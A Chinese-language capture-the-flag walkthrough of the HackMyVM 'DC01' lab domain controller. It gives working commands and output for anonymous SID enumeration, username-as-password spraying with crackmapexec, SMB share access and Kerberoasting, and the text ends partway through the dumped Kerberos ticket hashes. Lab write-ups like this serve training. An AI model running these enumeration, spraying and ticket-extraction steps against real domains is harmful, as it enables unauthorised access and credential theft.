HMV-DC01

HMV-DC01

信息收集

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep "08:00:27" | awk '{print $1}'
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
10.0.91.3
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sT -sV -p- -O 10.0.91.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 02:59 EDT
● -sC
使用 Nmap 自带的 默认脚本集 (equivalent to --script=default) ,会尝试常见的信息收集(如 banner 抓取、漏洞探测)。
● -sT
使用 TCP connect() 扫描。这是最基础的 TCP 扫描方式,直接调用系统的 connect 系统调用去建立三次握手,速度较慢,也更容易被发现。
● -sV
版本探测。在发现开放端口后,进一步探测服务的版本号、软件名。
● -p-
扫描 所有 65535 个 TCP 端口(从 1 到 65535)。
● -O
启用 操作系统探测(基于 TCP/IP 堆栈特征指纹匹配)。
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sT -sV -p- -O 10.0.91.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-19 02:59 EDT
Nmap scan report for 10.0.91.3
Host is up (0.00039s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-19 22:00:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49705/tcp open msrpc Microsoft Windows RPC
49790/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:B9:D1:18 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 14h59m56s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:b9:d1:18 (Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2025-08-19T22:01:43
|_ start_date: N/A
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.41 seconds

发现Domain: SOUPEDECODE.LOCAL0,域名解析一般都是小写,添加进dns

DNS写入

sudo nano /etc/hosts
10.0.91.3 soupedecode.local

渗透思路

4️⃣ 渗透测试重点

  1. 域枚举
    • LDAP 389/3268: 可尝试 ldapsearch 枚举用户和组。
    • RPC 135+动态端口: 可用 rpcclientlookupsid.py 枚举 SID / 用户。
  2. SMB 相关
    • 445/139: 枚举共享目录(smbclient -L)、NTLM 认证测试。
    • SMB 签名强制开启 → 阻止中间人攻击,但不会阻止合法枚举。
  3. Kerberos/WinRM
    • 88/464: 可做 Kerberos 枚举或密码喷射(AS-REP Roasting、Kerberoasting)。
    • 5985: WinRM 服务,合法凭据可远程执行命令。
  4. DNS
    • 53/tcp: 可做域名解析、内部域信息枚举、域名爆破。

匿名枚举

前置知识

🔹1. LDAP 匿名枚举

匿名绑定(Anonymous Bind)允许未认证的用户连接 LDAP。

判断方法:

ldapsearch -x -H ldap://<IP> -D '' -w '' -b '' -s base "(objectclass=*)"
  • 成功返回域名信息、目录结构 → 支持匿名绑定,可以枚举用户/组。
  • **返回 **Invalid credentials** 或 ****Insufficient access** → 匿名枚举被禁用。

🔹2. SMB 匿名枚举

Windows 的 SMB 服务允许“空会话”(Null Session)。

判断方法:

smbclient -L //<IP> -N
  • 能列出共享 → 允许匿名会话。
  • **报错 **NT_STATUS_ACCESS_DENIED** 或 ****Logon failure** → 禁止匿名。

还可以用:

rpcclient -U "" <IP>

如果直接能进入 RPC 命令行(如输入 enumdomusers 有输出),说明匿名可用。


🔹3. RPC 枚举

RPC 服务(135端口 + 动态端口)也可能支持匿名。

判断方法:

rpcclient -U "" <IP>
  • 能直接进入 → 匿名枚举开启。
  • 要求输入密码 → 匿名禁用。

🔹4. lookupsid.py

lookupsid.py 可以用 空用户名/空密码 尝试匿名 SID 枚举:

lookupsid.py <DOMAIN>/""@<IP>
  • 能返回 RID 对应的用户名/组名 → 匿名可行。
  • **返回 ****STATUS_ACCESS_DENIED** → 匿名禁用。

枚举命令

1️⃣ LDAP 枚举(389 / 3268)

枚举域用户
ldapsearch -x -H ldap://10.0.91.3:389 -D "" -w "" -b "DC=SOUPEDECODE,DC=LOCAL" "(objectClass=user)" sAMAccountName

枚举域组

ldapsearch -x -H ldap://10.0.91.3:389 -D "" -w "" -b "DC=SOUPEDECODE,DC=LOCAL" "(objectClass=group)" cn

2️⃣ RPC 枚举(135 + 动态端口)

使用 rpcclient 匿名连接

rpcclient -U "" -N 10.0.91.3

进入 RPC shell 后:

enumdomusers # 枚举域用户
enumdomgroups # 枚举域组
queryuser <RID> # 查看指定用户信息

使用 lookupsid.py(Impacket)

lookupsid.py 'SOUPEDECODE.LOCAL/anonymous:@10.0.91.3' > users.txt
  • 会把域内 SID → 用户/组映射输出到 users.txt

3️⃣ SMB 枚举(445 / 139)

枚举共享目录(匿名)

smbclient -L //10.0.91.3 -N

访问共享(使用用户名和密码)

smbclient //10.0.91.3/C$ -U <username>%<password>

impacket-lookupsid

lookupsid.py(在 Kali 上叫 impacket-lookupsid)是 Impacket 工具集里专门用于枚举 Windows/Active Directory 域 SID(安全标识符)的工具


1️⃣ 它的主要用途

  1. 枚举域 SID
    • 获取域的 唯一标识符(Domain SID),例如:
S-1-5-21-2986980474-46765180-2505414164
- 这是后续用户哈希获取、权限枚举的重要信息。

2. 枚举域用户和组 - 通过暴力尝试 RID(Relative Identifier,相对标识符)范围,找出所有已注册的用户、组和计算机账户。 - 输出类似:

500: SOUPEDECODE\Administrator (SidTypeUser)
512: SOUPEDECODE\Domain Admins (SidTypeGroup)
2163: SOUPEDECODE\backup_svc (SidTypeUser)
- 可以快速得到整个域的账户列表,包括服务账号和计算机账号。

3. 匿名枚举支持 - 即使没有合法域用户认证,有些 Windows 域允许 RPC 接口的匿名查询,仍然可以枚举部分或全部账户。 - 对渗透测试和信息收集很有用。


2️⃣ 工作原理

  • 使用 LSARPC (Local Security Authority Remote Procedure Call) 协议
  • 连接到目标域控的 RPC 接口,通常是 ncacn_np:<target>[\pipe\lsarpc]
  • 通过发送请求尝试不同的 RID,获取 SID → 名称映射

3️⃣ 前提条件

  1. 目标是 Windows 域控或加入域的服务器
    • 只有 Active Directory 才有域 SID、域用户和组的概念。
  2. 能访问域控的 RPC 接口
    • 常见端口:135/TCP(RPC Endpoint Mapper) + 动态 RPC 端口(一般 49152–65535)
    • 工具默认使用 LSARPC(ncacn_np:<IP>[\pipe\lsarpc])访问 RPC。
  3. 匿名或低权限可用
    • 一些域允许匿名 RPC 查询,这时无需域账户即可使用 lookupsid
    • 如果匿名访问被禁用,需要使用合法账户或凭据。
  4. 需要收集初始信息
    • 你想枚举:
      • 域 SID
      • 域用户(普通账户、服务账户、计算机账户)
      • 域组(Domain Admins, Domain Users 等)

工具利用

┌──(root㉿kali)-[/home/kali]
└─# impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Brute forcing SIDs at 10.0.91.3
[*] StringBinding ncacn_np:10.0.91.3[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2986980474-46765180-2505414164
498: SOUPEDECODE\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: SOUPEDECODE\Administrator (SidTypeUser)
501: SOUPEDECODE\Guest (SidTypeUser)
502: SOUPEDECODE\krbtgt (SidTypeUser)
512: SOUPEDECODE\Domain Admins (SidTypeGroup)
513: SOUPEDECODE\Domain Users (SidTypeGroup)
514: SOUPEDECODE\Domain Guests (SidTypeGroup)
515: SOUPEDECODE\Domain Computers (SidTypeGroup)
516: SOUPEDECODE\Domain Controllers (SidTypeGroup)
517: SOUPEDECODE\Cert Publishers (SidTypeAlias)
518: SOUPEDECODE\Schema Admins (SidTypeGroup)
519: SOUPEDECODE\Enterprise Admins (SidTypeGroup)
520: SOUPEDECODE\Group Policy Creator Owners (SidTypeGroup)
521: SOUPEDECODE\Read-only Domain Controllers (SidTypeGroup)
522: SOUPEDECODE\Cloneable Domain Controllers (SidTypeGroup)
..........
2154: SOUPEDECODE\PC-82$ (SidTypeUser)
2155: SOUPEDECODE\PC-83$ (SidTypeUser)
2156: SOUPEDECODE\PC-84$ (SidTypeUser)
2157: SOUPEDECODE\PC-85$ (SidTypeUser)
2158: SOUPEDECODE\PC-86$ (SidTypeUser)
2159: SOUPEDECODE\PC-87$ (SidTypeUser)
2160: SOUPEDECODE\PC-88$ (SidTypeUser)
2161: SOUPEDECODE\PC-89$ (SidTypeUser)
2162: SOUPEDECODE\PC-90$ (SidTypeUser)
2163: SOUPEDECODE\firewall_svc (SidTypeUser)
2164: SOUPEDECODE\backup_svc (SidTypeUser)
2165: SOUPEDECODE\web_svc (SidTypeUser)
2166: SOUPEDECODE\monitoring_svc (SidTypeUser)

工具介绍

1️⃣ CrackMapExec (CME)

用途:渗透测试自动化为主,侧重“账户凭据验证 + 横向移动 + 信息收集”。

特点:

  • 支持 SMB/LDAP/WinRM/MSSQL 等多协议,不仅仅是 SMB
  • 能用已知用户名/密码或 NTLM hash 验证登录
  • 可枚举域信息、用户、组、共享、会话
  • 可执行远程命令(PSEXEC、WMIC、WMI)
  • 适合 红队渗透流程中自动化攻击和内网横向移动

典型命令:

# 测试 SMB 登录
cme smb 10.0.91.3 -u Administrator -p 'Passw0rd!'
# 枚举 SMB 共享
cme smb 10.0.91.3 -u user -p pass --shares
# 枚举域用户
cme ldap 10.0.91.3 -u 'user' -p 'pass' --users

2️⃣ smbmap

用途: 专注于 共享目录权限扫描和文件枚举,更像 SMB 的“扫描器+文件访问工具”。

特点:

  • 检测哪些共享可访问(读/写/列出)
  • 可以递归列出共享目录下文件
  • 可下载或上传文件(如果权限允许)
  • 不关注域信息或横向移动,只关注 SMB 文件系统

典型命令:

# 列出共享和权限
smbmap -H 10.0.91.3 -u user -p pass
# 下载共享目录下文件
smbmap -H 10.0.91.3 -u user -p pass -R /shared/folder
# 上传文件
smbmap -H 10.0.91.3 -u user -p pass -U /local/file.txt -T /remote/path

3️⃣ 区别总结

工具主要用途强项典型阶段
CME内网渗透自动化、凭据验证、横向移动枚举域、用户、组、共享、远程命令执行内网渗透、红队操作
smbmapSMB 文件系统枚举扫描共享目录权限、下载/上传文件SMB 权限测试、文件渗透

爆破登录

提取指令

500: SOUPEDECODE\Administrator (SidTypeUser)
impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3 \
| grep "(SidTypeUser)" \
| awk -F'\\' '{print $2}' \
| grep -v '\$' \
| sed 's/ (SidTypeUser)//'

Awk 为什么要两个 \

在 awk 里,**-F** 用来指定分隔符。

我们想用 反斜杠 **\** 作为分隔符,但 **\** 在很多地方是转义字符,比如:**\n** 表示换行。

所以为了让 awk 识别真正的反斜杠,需要写成 **\\**

第一个 **\** 是告诉 awk“后面是一个特殊字符”

第二个 **\** 表示字面量的反斜杠

举个例子:

SOUPEDECODE\Administrator

如果你用 **-F'\\'** 分隔,awk 会把它拆成两列:

列1列2
SOUPEDECODEAdministrator

**{print $1}** → 输出 SOUPEDECODE(域名)

**{print $2}** → 输出 Administrator(用户名)

Sed 分析

sed ‘s/ (SidTypeUser)//’

分解开来:

sed:流编辑器,用来处理文本,可以对每一行进行替换、删除等操作。

s/…/…/:这是 sed 的替换命令,格式是 s/要替换的内容/替换成什么/

左边是你要匹配的文本

右边是你想替换成的文本

(SidTypeUser):这是要匹配的文本,也就是每行末尾的 (SidTypeUser)

注意前面有一个空格,要一起匹配

//:替换成空,也就是把匹配到的内容删除

┌──(root㉿kali)-[/home/kali]
└─# impacket-lookupsid SOUPEDECODE.LOCAL/anonymous@10.0.91.3 \
| grep "(SidTypeUser)" \
| awk -F'\\' '{print $2}' \
| grep -v '\$' \
| sed 's/ (SidTypeUser)//'\
pipe pipe pipe pipe> >user.txt
得到user.txt

SMB 爆破

使用Crackmapexec进行smb爆破

crackmapexec smb 10.0.91.3 -u user.txt -p user.txt --continue-on-success --no-bruteforce | grep +
--continue-on-success
找到一个有效凭据后,不会停止,而是继续测试其他用户/密码组合。
--no-bruteforce
用户和密码是“一一对应”的,即第1行用户只搭配第1行密码,第2行用户只搭配第2行密码。不会进行全排列爆破。
👉 所以这里更像是“凭据对列表”测试,而不是字典爆破。
| grep +
CME 的输出中,成功登陆的行前面通常会有 + 符号。通过 grep 过滤,只显示成功的结果。

┌──(root㉿kali)-[/home/kali]

└─# crackmapexec smb 10.0.91.3 -u user.txt -p user.txt —continue-on-success —no-bruteforce | grep +

SMB 10.0.91.3 445 DC01 [+] SOUPEDECODE.LOCAL\ybob317:ybob317

SMB登录

smbclient //10.0.91.3/IPC$ -U ybob317

┌──(root㉿kali)-[/home/kali]
└─# smbclient //10.0.91.3/IPC$ -U ybob317
Password for [WORKGROUP\ybob317]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*

使用smbclient

smbclient //10.0.91.3/users -U SOUPEDECODE.LOCAL/ybob317%ybob317
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Thu Jul 4 18:48:22 2024
.. DHS 0 Mon Jun 17 13:42:50 2024
admin D 0 Thu Jul 4 18:49:01 2024
Administrator D 0 Sat Jun 15 15:56:40 2024
All Users DHSrn 0 Sat May 8 04:26:16 2021
Default DHR 0 Sat Jun 15 22:51:08 2024
Default User DHSrn 0 Sat May 8 04:26:16 2021
desktop.ini AHS 174 Sat May 8 04:14:03 2021
Public DR 0 Sat Jun 15 13:54:32 2024
ybob317 D 0 Mon Jun 17 13:24:32 2024
smb: \ybob317\Desktop\> get user.txt
getting file \ybob317\Desktop\user.txt of size 32 as user.txt (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
// cat user.txt
6bab1f09a7403980bfeb4c2b412be47b

SMBexec

┌──(root㉿kali)-[/home/kali]
└─# impacket-smbexec SOUPEDECODE\ybob317:ybob317@10.0.91.3
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
凭据正确(否则会是 STATUS_LOGON_FAILURE),说明 ybob317 用户 + 密码能认证。
但是 权限不足,不能使用 smbexec 远程执行命令。

Kerberoasting

之前扫描端口,看到一个票据认证的服务端口,尝试找相关工具扫一下!

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-19 22:00:51Z)

靶机开着88端口,就是kerberos的验证服务,我们可以尝试获取该用户的SPN然后进行kerberoasting

kerberoasting本质上就是破解TGS票据,TGS票据使用服务HASH来加密的

首先第一步就是获取用户SPN ,使用Impacket-GetUserSpn

前置知识

1️⃣ SPN(Service Principal Name)是什么?

  • 定义:SPN 是 服务的唯一标识,用来让 Kerberos 知道“我想访问哪个服务”。
  • 作用
    1. Kerberos 认证时,客户端需要拿到某个服务的票据(TGS)。
    2. SPN 告诉域控“我要访问的服务是 X,绑定在账号 Y 上”。
  • 举例
    • MSSQLSvc/db01.soupdecode.local:1433 → 表示 SQL 服务绑定在某个账号上。
    • HTTP/web01.soupdecode.local → 表示 Web 服务。

总结:每个运行在域环境下的服务都有 SPN,通常是绑定在域账号上的


2️⃣ Kerberoasting 本质

  • 目标:获取域用户(通常是服务账户)的密码。
  • 原理
    1. 服务账户(带 SPN 的账号)在域里注册了 SPN。
    2. 客户端请求访问服务时,域控会生成 TGS(Ticket Granting Service)票据,用于访问该服务。
    3. TGS 票据是用服务账户的 NTLM hash 加密的。
    4. 攻击者可以获取 TGS 票据后离线破解,得到服务账户明文密码。
  • 特点
    • 票据是离线破解 → 不会触发实时警报。
    • 依赖于 SPN 已经注册在域用户上。
    • Kerberoasting 针对 域账户,尤其是服务账户,而不是普通本地账户。

3️⃣ 什么时候用 GetUserSPNs 工具

  • 工具作用
    1. 枚举域内注册了 SPN 的用户(服务账户)。
    2. 可以直接请求 TGS 票据并导出为 hashcat/john 可用格式。
  • 使用场景
    • 你在内网获取了一个 域用户凭据
    • 想要找到高权限服务账户并离线破解密码(Kerberoasting)。
    • 通常是渗透测试阶段 横向移动和提权前的步骤
  • 限制
    • 必须有域账户凭据(本地账户不行)。
    • 不能针对 SMB 本地账号 Kerberoast。

SPN获取

┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------- -------------- -------- -------------------------- --------- ----------
FTP/FileServer file_svc 2024-06-17 13:32:23.726085 <never>
FW/ProxyServer firewall_svc 2024-06-17 13:28:32.710125 <never>
HTTP/BackupServer backup_svc 2024-06-17 13:28:49.476511 <never>
HTTP/WebServer web_svc 2024-06-17 13:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-17 13:29:18.511871 <never>
┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
🔹 解析
CCache file is not found
Impacket 想用 Kerberos票据缓存(ccache) 做认证,但没找到票据文件。
这个可以忽略,如果你是用明文账号密码请求 TGS 票据。
KRB_AP_ERR_SKEW (Clock skew too great)
Kerberos 非常依赖 客户端与域控时间同步。
错误意思:你的 Kali 虚拟机时间和域控(10.0.91.3)时间差太大(默认超过 5 分钟就会拒绝)。

主要问题在于_Kali虚拟机时间和域控(10_.0.91.3_)时间差太大(默认超过_5_分钟就会拒绝)_

┌──(root㉿kali)-[/home/kali]
└─# sudo ntpdate 10.0.91.3
2025-08-20 13:16:30.188845 (-0400) +53998.182220 +/- 0.000248 10.0.91.3 s1 no-leap
CLOCK: time stepped by 53998.182220

__

__

┌──(root㉿kali)-[/home/kali]
└─# impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.91.3 -request
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------- -------------- -------- -------------------------- --------- ----------
FTP/FileServer file_svc 2024-06-17 13:32:23.726085 <never>
FW/ProxyServer firewall_svc 2024-06-17 13:28:32.710125 <never>
HTTP/BackupServer backup_svc 2024-06-17 13:28:49.476511 <never>
HTTP/WebServer web_svc 2024-06-17 13:29:04.569417 <never>
HTTPS/MonitoringServer monitoring_svc 2024-06-17 13:29:18.511871 <never>
[-] CCache file is not found. Skipping...
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/file_svc*$f3767383cfeb5a5440c9b0ab3de4a30a$39c77960d4c3362ab5973a965de722db38639c955683cc4876e9f6089a4df6005830b238d4e81b4a994a9919de64cef2d7de9f57a06b8846e6189319c9db3d10beaf618cd0d3db3fca71f9657f215c7a8a238dc86af2ed9cdb1c567fbf99ec1c87d3c9b668802ecf55ed22f95702b48fd9340e22e5ea5a88c150340bbcb9f821f9830c55ed74d8db1581d6a8d1bed65ad8f141ddd186dd2a066c497d80556f496f69cfaf69306aef708e41dff44a8e9b6fcffeeb079009c64d648a828273bd5eb33e2374c8aa5cd127e9ed688ac4849dd136f384837d743f7cce4bd46e657a3012d1e7f567478f2660d76e2d854e2ffb8c8e47ce6953f48e7142ea162dad7bfe1810687dabe3da5646682a5bb77b940f471755b79184de187f3fc179b4271e68186d51a1cfca35f797b782fec13356b830c11dee5c2daae7f06fe885bf4912c1795ad60965beda2d671d7cb4e7e4d3098e743565a09fba951321ff0abb68d0f3c8ebdb72cbeaa49782e68a3726fc3901db8087251550a0e88bb0f509b4457b480be5b2e7017dedc9724c2465c3229d53832366f01d1f895e82407728a8400ddbc3ed3d8579459e2ad2ec52ec809aed47e22a5ef9e2f16e3babb2477056c675e0ae4d0c42591eaed9e73b52ead491548c6ea76e58411af0ffeb8856badebaf16a2e5664de2d4334b1fc7b0890dd945ac899eae19ec79b894b93fd936619aa4cbd9f5fb63331ae936dffc5e0880d39b107291a6dd96f2ea5814505cb29d8f74d4b0b26ff0db10e475aebc7a5fd2f27b9b656c881c5d962faae8efeddb30ecc2018a65a097e944970b357197c2713b32dcd744001b8e1e4a3a8e37862cce1d5190226c743c82778673e9e216571a0328c77177e81b3c7dd7239e0f2031007c58c584f60d581be9b9145411897bd87577b2d027646f9b5f7319cfee48910646b5f31aed50b430529821924b9b94ed355703d8897b4df1cc42f0762c072e616be071e5f493e0b2bf5099ab4e3a8af6177074100556fdebec0315d00e84482da49cd56660d5fcd4b8435fef107329646abe5c0a6ca79c95bd82fc2b211054107b950e1d3b995fd095b998896fb80d9bbe03b7673dec584a93b25917964b5a2a0fa319881da217cf3e2020face48848734b5d960c50278419702a091237c42cf7b1aff159e9ec3b369e7677d1408d10df6a2af8a5a10d090f06af5df2a59118545feddf8659d88aef008ae7171fd5cd0e7ea3e2c3248a0a186c5221069d246d6ea67f2a493195c03f574086926ec245fd942185444dc51411e0f6dac4df227b6bc585c01e896e555d697149f14a22cff5904dbe2f2ac28ccbcfa1628c175984a90bc70133eb41ef779f44013a3647ceaf6875fec98093dca38ccb77139b969a3d1bc26366068c0451697855155370c9dca75116b90d99f7d043ac7ce70aa90b3b57fe94bb7b167e6f1b79ba89d1badfa8b4aeec393eb3a22e7d0d3d43330404a61e13bc67
$krb5tgs$23$*firewall_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/firewall_svc*$ab7469761075f86228b2fd22b112ee67$c2c7811a3012e3f18c193fdcd71e702d5181e7537fe3d6bc6d1a5a62aea97e90bf906beb32e20b1c6af719ad66127fcacdc365735fbc44cc3180a346e76083cc0d9d9ca55d99e6c45eb6694f5459dc6f7165675e9476c195195cbb105c25533f38fb1ebd3dba58d35038fc43321f51d95af06066d7f4450f074215c8d1fc7832f6bedbdc8a30d95a2ad17e04d8a04c2344db0414a33d0666d5d7f67e50e1573a5dee8f986baad095b60e96bc9252f2711ce71545242cdb2d46ea624beb90d21f7671eb076d2c593de8ea668968464f4202f676d4157e34237da5907477c8c7c54a45b1503818880b62c34f4515435b5e88e147c79a54ea69f70c56fd5dd97add63acf7a530499e26400531a7dde63d8158a74f5e94651e616865ddf29d33c781b529fc3d8685ac01ca0850528d60cdc505832dbe759a5f92f0bac1f42772def41f47e455c823082138757df39e59d6d40464354ef9c4f2b80dc71f723072197129e75c38f7edd75b49b3cbeb57a2fe4c81c7959dc4038ab6c89aa1bfd2fbaa027b4e4a609d8adbf98822862578bdf6aebd8fe2da04a57ed522d7193a177d5373a176c886162aa26d3ac4b1383aa5edeeea8991bdbe6ea6832b8617e74be40afde752d611084576d70a27d5f99f29306805039aec5855772f207572e5ee73485cac223b07e8ecb20df0a5449a2a2158f50b1284fce29425bf39a8924f89bf128e9413ec87e9987425516ab000177db7bdfa9371aa98a2084fd8990f6e1f77f98223f1839881c5d158bfbc3612660cdc4bb505f7370a2e0fe46993558da958ac6de774126fab705bf11ef9ad67c2042133381a96a436c988d8eb09103d8f2e8a89c4430587f5e37120e23a850a2f2cf2d49fab144de77ce86a6f9fa45c43075dcbe2adc874a081a2f35490f252948ed9657986d77299e8598976ebacf535f9349157b4f0e9a7a54aafc2a1be7507e6f424633c462858d4cf5c99966232209f0a62775a990bbac441ca8c8fd1e05a7ad77f6e591d443d63b300e359aeca679839909b80b787a0562dcfad6d26da4a7bdfca598795933ec645ef0e969ef34a1ba4873e29ca40bc286616a2e9a43c67e239c092de5aa53c82880ac2c38feb703bd904a9017755f109300b9e868688faf6c4b7a7318851f1d6c1873e1919e724b99b336cf24ad8f6c9bd269b24d9d4fdbd84d064d582b9a8a5fbb0ae1c42ed598beaf663086d248c80ec7c4f0eb9379d281796c42cd76a319f9ec90bdb37c318860ac4a1497290ae1ff8001762edb76a4f7bd6642e099c72b81a5440cec17447cdb06cd5a7f4ad81968499f101035c5768a4d2e473cb520c43abc5aac68e2c174a8fffde69343a63f97bc21aaf9fa4774edf41b69ec314732a428ae35ad36a4ba9aa55fdc6cdb4f55fc64deec1a3bd7a433b064287cf1a9e46c1317f1f75251e946f2c9e02bb0ad3b8f4139c82b832633c8cc9f70649a07c6d5ad38999d8ad98815c5d45
$krb5tgs$23$*backup_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/backup_svc*$2bff5855b0f6911478f544849e8e9823$53e384caccb4874a4ed81e37dd3a368563aba75da62476bb3202806db89deefad7ed532bf604d53ac5275d5fb80cdfb6ad6653c693852bcbeec917a908f7970474df952d10ea3586b90fdc38efc0a8cc4d743a977bb5eb075b8ab50fed0169c642cccc812eb54c91622ff7ed0b355f9c9db4258badb0c7cf20fd400f4342ca8f616db95cdd7bcd583c967fe0b798c8ec6220ed11784641c6ab56910cccda7fb7a36319bf0a6dcce101e3b45b525a5cab370bd995240b1774ac2aa9fcebfd66bbb8204aeb9378c46ec9377374b46c90b239ce10a03a80638dfb163055fd2be6834f7d7b67776c07b9a1372b24c3b5fc48f5f3010fb43e0c7b045a734efb10a809ace052bf7114e24d0dcff0424b64a18a098e26aaa7e8cd27a5ead4319bba5d2459625ecd18e04b472bcbe574a61339532da49ad51ab643896040385378e6a2ca3a5dc0cfea1d66115f88acedad62762b7aab8142fda5a039b3b6b03cee8856a432d76aa7db6137d2a40faf878d064fe8b37dcb1ca7e631f60d1eb99691ca563ee3c2a738d9cf83887df44fc5736ac0945951d9a87d76571413a26c96f971c856356c422a4b18d8a912a65527eedb7021ed1b987d60ea7524ba70c20e09e14a041e0e5c4ce005648ca2dd31516e53c3a75e83664db7d02c201de18656a8e046a47b5b6b88fe6bed05c5ea0b0cb69c2d148d9a14b2f4bdba53b35e44b920262b348d2c04c05b29e8bb7f266467f8c63fb0186b683373ad0954b35ffabbfb404530a4ffca93bfe8d73cb6bbf5b68fea56a3f313c2f164f22a0140f2d6e202c5af2ab2f9df517eba861c10bc6e016fb32ed6010c012c45d314cee4d17d6dc230168f3706fad2f6fb3752447c229ab5d41da208e3bf5ab6387860d15e3fab9ec981610129de2ba09b50daab1aa9253e9051e6782fc5fce50f8994cc01f7e83543813b8d5c09e41ab709919385ae00e8c1a1774f60a6354aca790be856c432742029a22425fad11901b79c8361897730b6a3afdf17a11979bdb8e418af540331a1bcaf88b9e7c5f82831299190f7d33a5ebcf910950b05d063237b7b88492d6bb741f48f34d3598399dd81d073aa620a1f42a7d67ee813ec51c556f61863bd9e3092e5329aa8b2099f65eab731c6f6c5951764216be679c89b8f6e2bd9ad5330b725c791b425358355b5cfa61a0aa72e7bafa47e99e2aabe6012a4550c787df880c33b095d4feda926267dbb39f0955ef9cdaa0732992c18251f0f64e03fb413234fbf635aea4c2d691adefd069726a2cfdfe063b2c239ffb57394eebdd82e8ef50863625672a690df2421c44fb6998cad374e54c3be335c49101e0a379b718684a905166aae1855d8f03c7a9fd8921690b502c205b24d9785ed9f89679ba1597d78333f32e97ceb292681a7b68592433a6f5c8ba7aab82d7c72985e3cb0c19d0cc3ed22cc26aa554f458ca750835402bb7448fe98d7e7634639261a4785d59c6e5d2a6d
$krb5tgs$23$*web_svc$SOUPEDECODE.LOCAL$SOUPEDECODE.LOCAL/web_svc*$31cd7b6ddd70d011ece9ba3dabbf35da$9d184606b31a074d6a0dbfdd8b524d02224378511924a26fe81ff7bf96996cdb64e0b1ec5f73005cc68765b8447bf146fc6b53974f14277873596c16b4d61684cfd10ac9bd4fba97af298693d6ff3d0c2cfd17953a87dc980df9a3b51e89a2d5d4952e31660e9ba72b6341e9f3b1a095ebe9c58410502a432f4be68da6fc7d01ce7f3894ae99d8f4466557dbc303a4aafee6f79d5c0ff7fd816781627900c74dca438eab5f07fedb31cf2eb746be1aaebdc6b4cd01526f316d2872fa33798cda82cb0c0ec16c29f7fa47c165038fdaca19670d3b5d521b67ba4989a33304719fc8a4b9e5435124417d569f6d688a073fdd2215342877362ffcda765a35ad8ffdab89a0ae0bd12f38310a43e07976656a57dfcc041a20a25ce35921be4e809bdd4e4320a4be3cac66061a88faef0bf421630688451438c4e22771251e4764a7909bcbfc06aa12685db44ea6799822ad552f044a60a2777ef06dc9638840cb21532af52b1f88ce0d